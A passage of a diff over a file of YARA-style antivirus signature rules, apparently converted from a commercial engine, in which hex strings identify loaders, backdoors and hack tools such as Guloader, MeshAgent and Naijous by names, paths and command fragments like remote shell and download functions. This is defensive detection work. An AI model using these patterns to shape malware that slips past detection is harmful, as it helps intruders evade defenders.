47 75 6c 6f 61 64 65 72 2e 4b 42 42 55 31 32 33 21 4d 54 42 00 01 00 20 81 01 23 5c 62 79 70 6c 61 6e 6c 67 6e 69 6e 67 73 75 64 76 61 6c 67 65 74 5c 64 6e 67 65 6e 64 65 73 01 00 15 81 01 53 6f 66 74 77 61 72 65 5c 53 69 72 65 } //18467 $a_73_1 = {38 35 5c 01 00 0d 81 01 6f 66 66 65 72 6c 75 6e 64 2e 74 78 74 01 00 0d 81 01 72 61 79 6f 6e 6e 61 6e 74 2e 61 6d 70 01 00 17 81 01 73 70 72 6e 67 73 74 6f 66 61 74 74 65 6e 74 61 74 65 72 2e 63 79 73 01 00 11 81 01 53 6f 66 74 77 61 72 65 5c 64 69 73 6b 75 72 73 73 01 00 13 81 01 53 6f 66 74 77 61 72 } //25710 - $a_64_2 = {73 73 65 73 31 30 35 01 00 12 81 01 72 65 70 68 6f 73 70 68 6f 72 69 7a 61 74 69 6f 6e 73 01 00 18 81 01 53 6f 66 74 77 61 72 65 5c 52 65 70 61 74 72 6f 6e 69 7a 65 73 32 35 30 00 00 78 0b 01 00 09 00 09 00 0a 00 21 23 50 55 41 3a 42 6c } //23653 - $a_3a_3 = {6f 73 74 70 61 79 00 01 00 13 80 01 61 70 69 2e 61 7a 2d 70 61 72 74 6e 65 72 73 2e 6e 65 74 01 00 0b 80 01 6f 66 66 65 72 3a 73 68 6f 77 6e 01 00 0e 80 01 6f 66 66 65 72 3a 61 63 63 65 70 74 65 64 01 00 0e 80 01 6f 66 66 65 72 3a 64 65 63 6c 69 6e 65 64 01 00 0c 80 01 2f 73 69 6c 65 6e 74 20 2f 72 75 6e 01 00 14 80 01 } //25455 - $a_64_4 = {78 5c 59 61 6e 64 65 78 42 72 6f 77 73 65 72 01 00 1a 80 01 5c 55 6e 69 6e 73 74 61 6c 6c 5c 41 76 61 73 74 20 41 6e 74 69 76 69 72 75 73 01 00 13 80 01 4f 70 65 72 61 44 6f 77 6e 6c 6f 61 64 65 72 2e 65 78 65 01 00 20 80 01 57 61 72 67 61 6d 69 6e 67 2e 6e 65 74 5c 47 61 6d 65 43 65 6e 74 65 72 5c 61 70 70 4d 61 69 6e 01 00 16 } //24921 - $a_72_5 = {76 65 72 48 75 62 49 6e 73 74 61 6c 6c 65 72 2e 65 78 65 00 00 78 0b 01 00 09 00 09 00 0a 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 48 65 69 67 6f 72 6f 73 00 01 00 0d 01 4e 74 52 65 71 } //384 - $a_74_6 = {6f 72 74 01 00 13 01 4e 74 41 6c 70 63 43 61 6e 63 65 6c 4d 65 73 73 61 67 65 01 00 13 01 4e 74 53 65 63 75 72 65 43 6f 6e 6e 65 63 74 50 6f 72 74 01 00 19 01 4e 74 41 6c 70 63 53 65 6e 64 57 61 69 74 52 65 63 65 69 76 65 50 6f 72 74 01 00 1b 01 4e 74 41 6c 70 63 43 72 65 61 74 65 52 65 73 6f 75 72 63 65 52 65 73 65 72 76 65 01 00 11 01 4e 74 } //25973 - $a_63_7 = {6f 6e 6e 65 63 74 50 6f 72 74 01 00 17 01 4e 74 41 6c 70 63 44 65 6c 65 74 65 50 6f 72 74 53 65 63 74 69 6f 6e 01 00 14 01 08 00 20 00 00 c0 00 00 50 00 00 00 f4 03 00 00 40 00 00 00 01 00 0c 01 59 f4 ff ff ab 48 b0 b0 0f 00 00 00 01 00 10 01 22 00 00 00 00 00 00 00 a0 00 00 00 53 01 00 00 00 00 78 0b 01 00 0b 00 0b 00 0b 00 21 23 48 } //27713 - $a_3a_8 = {72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 56 49 34 35 21 4d 54 42 00 01 00 28 80 01 43 6f 6e 74 72 6f 6c 53 79 73 74 65 6d 4c 69 62 72 61 72 79 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 27 80 01 43 } //21587 + $a_64_2 = {73 73 65 73 31 30 35 01 00 12 81 01 72 65 70 68 6f 73 70 68 6f 72 69 7a 61 74 69 6f 6e 73 01 00 18 81 01 53 6f 66 74 77 61 72 65 5c 52 65 70 61 74 72 6f 6e 69 7a 65 73 32 35 30 00 00 78 0b 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 } //23653 + $a_32_3 = {47 75 6c 6f 61 64 65 72 2e 4c 49 58 30 31 21 4d 54 42 00 01 00 18 81 01 73 6b 6e 64 73 65 6c 73 67 65 72 6e 69 6e 67 65 72 6e 65 73 2e 74 78 74 01 00 12 } //28265 + $a_64_4 = {6c 63 69 66 69 63 61 74 69 6f 6e 2e 69 6e 69 01 00 17 81 01 76 69 64 65 6f 62 61 61 6e 64 6f 70 74 61 67 65 72 65 6e 2e 73 65 6e 01 00 0e 81 01 6a 69 6e 72 69 63 6b 73 68 61 2e 6f 70 74 01 00 10 81 01 42 61 64 65 76 72 65 6c 73 65 72 73 2e 69 6d 70 01 00 1b 81 01 6e 6f 6e 73 } //385 + $a_65_5 = {74 20 6f 76 65 72 73 70 72 69 6e 67 6e 69 6e 67 65 72 01 00 22 81 01 69 6e 64 76 61 72 73 6c 65 64 65 20 62 72 64 73 6b 72 69 66 74 65 72 73 20 64 61 69 6d 69 6f 61 74 65 01 00 0c 81 01 68 61 6c 76 61 6b 73 65 72 6e 65 73 01 00 0e 81 01 75 6e 69 66 6c 6f 72 6f 75 73 2e 65 78 65 00 00 78 0b 01 00 09 } //30068 + $a_50_7 = {41 3a 42 6c 6f 63 6b 3a 52 6f 73 74 70 61 79 00 01 00 13 80 01 61 70 69 2e 61 7a 2d 70 61 72 74 6e 65 72 } //8448 + $a_65_8 = {01 00 0b 80 01 6f 66 66 65 72 3a 73 68 6f 77 6e 01 00 0e 80 01 6f 66 66 65 72 3a 61 63 63 65 70 74 65 64 01 00 0e 80 01 6f 66 66 65 72 3a 64 65 63 6c 69 6e 65 64 01 00 0c 80 01 2f 73 69 6c 65 6e 74 20 2f 72 75 6e 01 00 14 80 01 59 61 6e 64 65 78 5c 59 61 6e 64 65 78 42 72 6f 77 73 65 72 01 00 1a 80 01 5c 55 6e 69 6e 73 74 61 6c } //11891 condition: - ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25710+(#a_64_2 & 1)*23653+(#a_3a_3 & 1)*25455+(#a_64_4 & 1)*24921+(#a_72_5 & 1)*384+(#a_74_6 & 1)*25973+(#a_63_7 & 1)*27713+(#a_3a_8 & 1)*21587) >=9 + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25710+(#a_64_2 & 1)*23653+(#a_32_3 & 1)*28265+(#a_64_4 & 1)*385+(#a_65_5 & 1)*30068+(#a_50_7 & 1)*8448+(#a_65_8 & 1)*11891) >=9 } -rule _InfrastructureShared_16516{ +rule _InfrastructureShared_17600{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 49 58 30 31 21 4d 54 42 00 01 00 18 81 01 73 6b 6e 64 73 65 6c 73 67 65 72 6e 69 6e 67 65 72 6e 65 73 2e 74 78 74 01 00 12 81 01 5c 64 75 6c 63 69 66 69 63 61 74 69 6f 6e 2e 69 6e 69 01 00 17 81 01 } //18467 + $a_65_1 = {62 61 61 6e 64 6f 70 74 61 67 65 72 65 6e 2e 73 65 6e 01 00 0e 81 01 6a 69 6e 72 69 63 6b 73 68 61 2e 6f 70 74 01 00 10 81 01 42 61 64 65 76 72 65 6c 73 65 72 73 2e 69 6d 70 01 00 1b 81 01 6e 6f 6e 73 74 75 64 65 6e 74 20 6f 76 65 72 73 70 72 69 6e 67 6e 69 6e 67 65 72 01 00 22 81 01 69 6e 64 76 61 } //26998 + $a_65_2 = {65 20 62 72 64 73 6b 72 69 66 74 65 72 73 20 64 61 69 6d 69 6f 61 74 65 01 00 0c 81 01 68 61 6c 76 61 6b 73 65 72 6e 65 73 01 00 0e 81 01 75 6e 69 66 6c 6f 72 6f 75 73 2e 65 78 65 00 00 78 0b 01 00 09 00 09 00 0a 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 52 6f 73 74 70 61 79 00 01 00 13 80 01 61 70 69 2e 61 7a 2d 70 61 72 74 } //29554 + $a_73_3 = {6e 65 74 01 00 0b 80 01 6f 66 66 65 72 3a 73 68 6f 77 6e 01 00 0e 80 01 6f 66 66 65 72 3a 61 63 63 65 70 74 65 64 01 00 0e 80 01 6f 66 66 65 72 3a 64 65 63 6c 69 6e 65 64 01 00 0c 80 01 2f 73 69 6c 65 6e 74 20 2f 72 75 6e 01 00 14 80 01 59 61 6e 64 65 78 5c 59 61 6e 64 65 78 42 72 6f 77 73 65 72 01 00 1a 80 01 5c 55 6e 69 6e 73 74 61 6c 6c } //25966 + $a_61_4 = {74 20 41 6e 74 69 76 69 72 75 73 01 00 13 80 01 4f 70 65 72 61 44 6f 77 6e 6c 6f 61 64 65 72 2e 65 78 65 01 00 20 80 01 57 61 72 67 61 6d 69 6e 67 2e 6e 65 74 5c 47 61 6d 65 43 65 6e 74 65 72 5c 61 70 70 4d 61 69 6e 01 00 16 80 01 44 72 69 76 65 72 48 75 62 49 6e 73 74 61 6c 6c 65 72 2e 65 78 65 00 00 78 0b 01 00 09 00 09 00 0a 00 21 23 54 45 4c 3a 54 } //16732 + $a_61_5 = {3a 57 69 6e 33 32 2f 48 65 69 67 6f 72 6f 73 00 01 00 0d 01 4e 74 52 65 71 75 65 73 74 50 6f 72 74 01 00 13 01 4e 74 41 6c 70 63 43 61 6e 63 65 6c 4d 65 73 73 61 67 65 01 00 13 01 4e 74 53 65 63 75 72 65 43 6f 6e 6e 65 63 74 50 6f 72 74 01 00 19 01 4e 74 41 6c 70 63 53 65 6e 64 57 61 69 74 52 65 63 65 69 76 65 50 6f } //28530 + $a_00_6 = {1b } //29810 + $a_41_7 = {70 63 43 72 65 61 74 65 52 65 73 6f 75 72 63 65 52 65 73 65 72 76 65 01 00 11 01 4e 74 41 6c 70 63 43 6f 6e 6e 65 63 74 50 6f 72 74 01 00 17 01 4e 74 41 6c 70 63 44 65 6c 65 74 65 50 6f 72 74 53 65 63 74 69 6f 6e 01 00 14 01 08 00 20 00 00 c0 00 00 50 00 00 00 f4 03 00 00 40 00 00 00 01 00 0c 01 59 f4 ff ff ab 48 b0 b0 0f 00 00 00 01 00 10 01 22 } //19969 + condition: + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*26998+(#a_65_2 & 1)*29554+(#a_73_3 & 1)*25966+(#a_61_4 & 1)*16732+(#a_61_5 & 1)*28530+(#a_00_6 & 1)*29810+(#a_41_7 & 1)*19969) >=9 + +} +rule _InfrastructureShared_17601{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 0a 00 21 " @@ -194522,7 +207518,7 @@ rule _InfrastructureShared_16516{ ((#a_41_0 & 1)*20515+(#a_69_1 & 1)*25445+(#a_6e_2 & 1)*28001+(#a_00_3 & 1)*29810+(#a_41_4 & 1)*19969+(#a_01_5 & 1)*29295+(#a_65_6 & 1)*16687+(#a_00_7 & 1)*29541+(#a_61_8 & 1)*384+(#a_36_9 & 1)*29537) >=9 } -rule _InfrastructureShared_16517{ +rule _InfrastructureShared_17602{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 0a 00 21 " @@ -194536,7 +207532,7 @@ rule _InfrastructureShared_16517{ ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*25445+(#a_00_2 & 1)*28271+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1) >=9 } -rule _InfrastructureShared_16518{ +rule _InfrastructureShared_17603{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -194556,7 +207552,7 @@ rule _InfrastructureShared_16518{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28483+(#a_00_2 & 1)*29810+(#a_72_3 & 1)*384+(#a_49_4 & 1)*19770+(#a_33_5 & 1)*12595+(#a_49_6 & 1)*18761+(#a_58_7 & 1)*-32762+(#a_01_8 & 1)*13877+(#a_53_9 & 1)*21364+(#a_61_10 & 1)*11895) >=11 } -rule _InfrastructureShared_16519{ +rule _InfrastructureShared_17604{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -194577,7 +207573,7 @@ rule _InfrastructureShared_16519{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*18761+(#a_49_2 & 1)*18761+(#a_36_3 & 1)*29537+(#a_01_4 & 1)*25390+(#a_8d_5 & 1)*13262+(#a_2e_6 & 1)*25972+(#a_74_7 & 1)*25970+(#a_00_9 & 1)*110+(#a_00_10 & 1)*32+(#a_67_11 & 1)*12108+(#a_90_12 & 1)*1) >=13 } -rule _InfrastructureShared_16520{ +rule _InfrastructureShared_17605{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0d 00 05 00 21 " @@ -194590,7 +207586,7 @@ rule _InfrastructureShared_16520{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28206+(#a_8b_2 & 1)*769+(#a_73_3 & 1)*16735) >=13 } -rule _InfrastructureShared_16521{ +rule _InfrastructureShared_17606{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 0b 00 21 " @@ -194609,7 +207605,7 @@ rule _InfrastructureShared_16521{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*384+(#a_80_2 & 1)*2+(#a_80_3 & 1)*2+(#a_80_4 & 1)*2+(#a_80_5 & 1)*2+(#a_80_6 & 1)*2+(#a_80_7 & 1)*2+(#a_0b_8 & 1)*0+(#a_00_10 & 1)*103) >=22 } -rule _InfrastructureShared_16522{ +rule _InfrastructureShared_17607{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -194619,7 +207615,7 @@ rule _InfrastructureShared_16522{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_16523{ +rule _InfrastructureShared_17608{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -194629,7 +207625,18 @@ rule _InfrastructureShared_16523{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_16524{ +rule _InfrastructureShared_17609{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " + + strings : + $a_46_0 = {45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 4d 65 73 68 41 67 65 6e 74 2e 45 21 64 68 61 00 01 00 6a 01 4d 65 73 68 49 44 3d 30 78 38 39 46 35 39 42 46 33 45 36 45 30 46 32 35 32 44 30 31 33 45 42 32 46 34 36 35 46 43 } //16675 + $a_42_1 = {30 38 46 35 39 42 35 43 39 44 37 30 38 35 31 35 44 37 33 37 33 34 30 31 30 30 33 33 44 33 30 35 33 37 34 45 36 39 42 33 38 36 45 31 34 35 34 45 33 41 43 30 38 41 31 31 43 41 37 36 36 37 0d 01 00 6a 01 53 65 } //14130 + condition: + ((#a_46_0 & 1)*16675+(#a_42_1 & 1)*14130) >=1 + +} +rule _InfrastructureShared_17610{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -194641,7 +207648,7 @@ rule _InfrastructureShared_16524{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*19853+(#a_0f_2 & 1)*400) >=1 } -rule _InfrastructureShared_16525{ +rule _InfrastructureShared_17611{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -194652,7 +207659,7 @@ rule _InfrastructureShared_16525{ ((#a_46_0 & 1)*16675+(#a_81_1 & 1)*9236) >=2 } -rule _InfrastructureShared_16526{ +rule _InfrastructureShared_17612{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -194662,7 +207669,7 @@ rule _InfrastructureShared_16526{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_16527{ +rule _InfrastructureShared_17613{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -194675,7 +207682,7 @@ rule _InfrastructureShared_16527{ ((#a_54_0 & 1)*18467+(#a_ff_1 & 1)*513+(#a_73_2 & 1)*25443+(#a_36_3 & 1)*13874) >=2 } -rule _InfrastructureShared_16528{ +rule _InfrastructureShared_17614{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 08 00 21 " @@ -194691,7 +207698,7 @@ rule _InfrastructureShared_16528{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*29779+(#a_38_2 & 1)*14390+(#a_65_3 & 1)*28532+(#a_6e_4 & 1)*27247+(#a_70_5 & 1)*27509+(#a_69_6 & 1)*29989) >=2 } -rule _InfrastructureShared_16529{ +rule _InfrastructureShared_17615{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -194706,7 +207713,7 @@ rule _InfrastructureShared_16529{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*29797+(#a_76_2 & 1)*29045+(#a_00_3 & 1)*21581+(#a_00_4 & 1)*0+(#a_2e_5 & 1)*25955) >=3 } -rule _InfrastructureShared_16530{ +rule _InfrastructureShared_17616{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -194717,7 +207724,7 @@ rule _InfrastructureShared_16530{ ((#a_46_0 & 1)*16675+(#a_01_3 & 1)*0) >=4 } -rule _InfrastructureShared_16531{ +rule _InfrastructureShared_17617{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -194729,7 +207736,7 @@ rule _InfrastructureShared_16531{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*11585+(#a_2d_3 & 1)*2305) >=4 } -rule _InfrastructureShared_16532{ +rule _InfrastructureShared_17618{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -194740,7 +207747,7 @@ rule _InfrastructureShared_16532{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*-20992) >=4 } -rule _InfrastructureShared_16533{ +rule _InfrastructureShared_17619{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -194750,19 +207757,25 @@ rule _InfrastructureShared_16533{ ((#a_54_0 & 1)*18467) >=4 } -rule _InfrastructureShared_16534{ +rule _InfrastructureShared_17620{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0a 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 69 6c 6c 61 2e 50 47 41 21 4d 54 42 00 01 00 36 80 01 41 41 67 58 41 6b 43 51 2f 45 7a 48 7a 4c 2f 66 35 58 2f 2f 77 34 77 48 2f 62 6c 5a 77 63 64 6f 59 54 6e 36 2f 2b } //21539 - $a_42_1 = {74 71 70 66 75 76 64 72 42 36 76 01 00 4b 80 01 4a 34 6d 78 76 45 66 48 47 74 72 51 45 75 7a 68 37 41 4b 75 44 68 35 2b 47 75 44 4b 51 37 78 76 48 31 58 58 4f 54 65 7a 64 44 54 57 52 66 70 44 6c 4c 58 66 5a 44 6a 6e 76 6f 30 52 47 47 52 6b 51 35 38 49 45 53 4a 31 7a 71 48 03 00 54 80 01 46 78 6f 64 41 74 } //14694 - $a_62_2 = {72 74 45 41 70 65 64 44 34 53 51 41 43 5a 54 41 39 67 42 7a 47 43 67 55 4c 67 77 43 44 69 41 4e 6b 6b 30 36 4b 7a 71 55 31 64 6e 5a 6e 5a 6d 64 6d 6f 58 33 35 55 67 33 43 38 31 4f 41 45 41 41 41 41 41 41 41 49 73 34 48 00 00 78 0c 01 00 05 00 05 00 05 00 21 23 } //29561 + $a_4c_0 = {42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 4e 61 69 6a 6f 75 73 2e 41 00 01 00 0c 01 43 36 2f 63 6c 69 65 6e 74 57 69 6e 01 00 11 01 63 6c 69 65 6e 74 57 69 6e 5f 73 75 6f 6a 69 61 6e 01 00 15 01 2f 69 6e } //21539 + $a_74_1 = {72 67 65 74 73 5f 49 6e 66 6f 2e 67 6f 01 00 0e 01 2f 53 63 72 65 65 6e 73 68 6f 74 2e 67 6f 01 00 13 01 2f 74 61 72 67 65 74 73 2f 74 61 72 } //28518 + $a_73_2 = {67 6f 01 00 08 01 2f 73 61 63 6e 2e 67 6f 01 00 16 01 2f 63 6d 64 2f 45 78 65 63 75 74 65 43 6f 6d 6d 61 6e 64 2e 67 6f 01 00 1c 01 63 6d 64 2e 28 2a 43 6c 69 65 6e 74 43 6f 6e 66 69 67 29 2e 52 75 6e 73 68 65 6c 6c 01 00 14 01 74 61 72 67 65 74 73 2e 43 6c 69 65 6e 74 4f 6e 6c 69 6e 65 01 00 1c 01 50 72 6f 74 6f 63 6f 6c 2e 44 6f 77 6e 6c 6f 61 } //25959 + $a_67_3 = {65 6e 74 48 74 74 70 00 00 78 0c 01 00 05 00 05 00 05 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 43 56 45 5f 32 30 31 35 5f 31 36 37 34 5f 43 4e 47 53 59 53 00 01 00 36 03 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 43 00 4e 00 47 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d } //21348 + $a_02_4 = {00 90 2c 01 09 30 2d 39 41 } //-28550 + $a_2d_5 = {90 00 01 00 2e 03 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 0b 01 4c 6f 61 64 4c 69 62 72 61 72 79 01 00 2c 03 4b 45 52 4e 45 4c 33 32 2e 64 6c 6c 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 } //23085 + $a_2d_7 = {41 2d 5a 30 2d 39 90 00 01 00 29 03 6e 74 64 6c 6c 2e 64 6c 6c 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 00 00 78 0c 01 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 45 49 21 4d 54 42 00 01 } //2305 + $a_44_8 = {51 } //7680 Q + $a_44_9 = {57 44 51 51 57 44 57 51 44 45 46 45 46 45 57 46 57 45 46 45 57 00 01 00 07 01 41 70 70 65 6e 64 00 01 00 0c 01 44 6f 77 6e 6c 6f 61 64 57 65 62 00 01 00 56 00 78 00 78 00 78 00 44 00 78 00 78 00 78 00 6f 00 78 00 78 00 78 00 77 00 78 00 78 00 78 00 6e 00 78 00 } //20804 condition: - ((#a_4c_0 & 1)*21539+(#a_42_1 & 1)*14694+(#a_62_2 & 1)*29561) >=5 + ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*28518+(#a_73_2 & 1)*25959+(#a_67_3 & 1)*21348+(#a_02_4 & 1)*-28550+(#a_2d_5 & 1)*23085+(#a_2d_7 & 1)*2305+(#a_44_8 & 1)*7680+(#a_44_9 & 1)*20804) >=4 } -rule _InfrastructureShared_16535{ +rule _InfrastructureShared_17621{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -194775,7 +207788,7 @@ rule _InfrastructureShared_16535{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*-28550+(#a_2d_2 & 1)*23085+(#a_2d_4 & 1)*2305) >=5 } -rule _InfrastructureShared_16536{ +rule _InfrastructureShared_17622{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -194787,7 +207800,7 @@ rule _InfrastructureShared_16536{ ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*120+(#a_00_4 & 1)*80) >=5 } -rule _InfrastructureShared_16537{ +rule _InfrastructureShared_17623{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 09 00 21 " @@ -194805,7 +207818,7 @@ rule _InfrastructureShared_16537{ ((#a_63_0 & 1)*16931+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_0c_6 & 1)*0+(#a_00_7 & 1)*69+(#a_73_8 & 1)*25458) >=5 } -rule _InfrastructureShared_16538{ +rule _InfrastructureShared_17624{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -194818,7 +207831,7 @@ rule _InfrastructureShared_16538{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*54+(#a_75_3 & 1)*29541+(#a_3a_4 & 1)*24938) >=6 } -rule _InfrastructureShared_16539{ +rule _InfrastructureShared_17625{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -194828,7 +207841,7 @@ rule _InfrastructureShared_16539{ ((#a_54_0 & 1)*18467) >=6 } -rule _InfrastructureShared_16540{ +rule _InfrastructureShared_17626{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -194842,7 +207855,7 @@ rule _InfrastructureShared_16540{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*22069+(#a_00_2 & 1)*15697+(#a_59_3 & 1)*385+(#a_73_4 & 1)*25458) >=6 } -rule _InfrastructureShared_16541{ +rule _InfrastructureShared_17627{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -194850,30 +207863,62 @@ rule _InfrastructureShared_16541{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 4d 30 39 30 38 32 32 21 4d 54 42 00 01 00 28 81 01 5c 53 61 74 69 73 66 61 6b 74 69 6f 6e 65 72 6e 65 73 5c 44 75 74 74 65 72 5c 44 6f 6c 65 73 6d 61 6e 33 34 2e 69 6e 69 01 00 } //18467 $a_43_1 = {72 } //-32501 r $a_61_2 = {65 61 65 01 00 14 81 01 53 6f 66 74 77 61 72 65 5c 42 72 61 6e 64 72 61 6d 74 65 73 01 00 2c 81 01 5c 52 65 69 6e 74 65 67 72 61 74 65 73 5c 4e 75 6d 69 6e 65 32 33 31 5c 4d 61 6c 65 72 69 73 5c 4c 73 6b 75 72 65 74 73 2e 53 74 75 01 00 2c 81 01 5c 43 69 63 69 73 62 65 69 73 6d 31 30 30 5c 75 6e 76 61 } //24931 - $a_61_3 = {69 6e 67 5c 62 61 61 6e 64 6a 65 72 6e 65 74 73 2e 6c 6e 6b 01 00 1d 81 01 5c 42 72 65 61 64 72 6f 6f 74 5c 55 6e 64 69 73 74 75 72 62 69 6e 67 6c 79 2e 49 6e 74 00 00 78 0c 01 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 42 50 30 31 21 4d 54 42 00 01 } //26988 - $a_01_4 = {54 72 79 74 6f 70 68 61 6e 5c 75 6e 64 65 72 73 63 68 65 6d 65 01 00 15 81 01 38 38 5c 74 72 61 69 6e 79 5c 73 6f 6c 66 65 67 65 2e 6b 6f 6e 01 00 18 81 01 23 5c 4f 64 6f 6e 74 69 61 73 69 73 5c 47 6f 61 74 69 73 68 6e 65 73 73 01 00 22 81 01 25 6b 61 69 66 25 5c 70 65 72 6f 78 79 61 63 69 64 5c 53 6b 72 61 65 6e 74 65 6e 31 33 35 2e 63 68 72 01 00 20 81 01 61 70 68 6f 74 6f 74 72 6f } //5376 - $a_5c_5 = {65 6c 6c 61 72 65 64 5c 74 65 67 6e 6d 73 73 69 67 65 01 00 1e 81 01 76 61 6e 64 61 6c 69 73 65 72 65 6e 64 65 73 20 74 6f 6d 61 6e 64 73 74 65 6c 74 65 6e 65 01 00 1e 81 01 6e 75 63 6c 65 69 6e 61 73 65 20 6e 6f 6d 69 6e 61 6c 69 74 79 20 62 6f 72 6e 69 74 69 63 00 00 78 0c 01 00 09 00 09 00 09 } //26992 + $a_61_3 = {69 6e 67 5c 62 61 61 6e 64 6a 65 72 6e 65 74 73 2e 6c 6e 6b 01 00 1d 81 01 5c 42 72 65 61 64 72 6f 6f 74 5c 55 6e 64 69 73 74 75 72 62 69 6e 67 6c 79 2e 49 6e 74 00 00 78 0c 01 00 07 00 07 00 07 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 46 72 6f 73 74 79 53 74 61 73 68 2e 42 41 } //26988 + $a_61_4 = {01 00 0e 01 57 65 62 53 6f 63 6b 65 74 53 68 61 72 70 01 00 0a 01 76 34 2e 30 2e 33 30 33 31 39 01 00 11 01 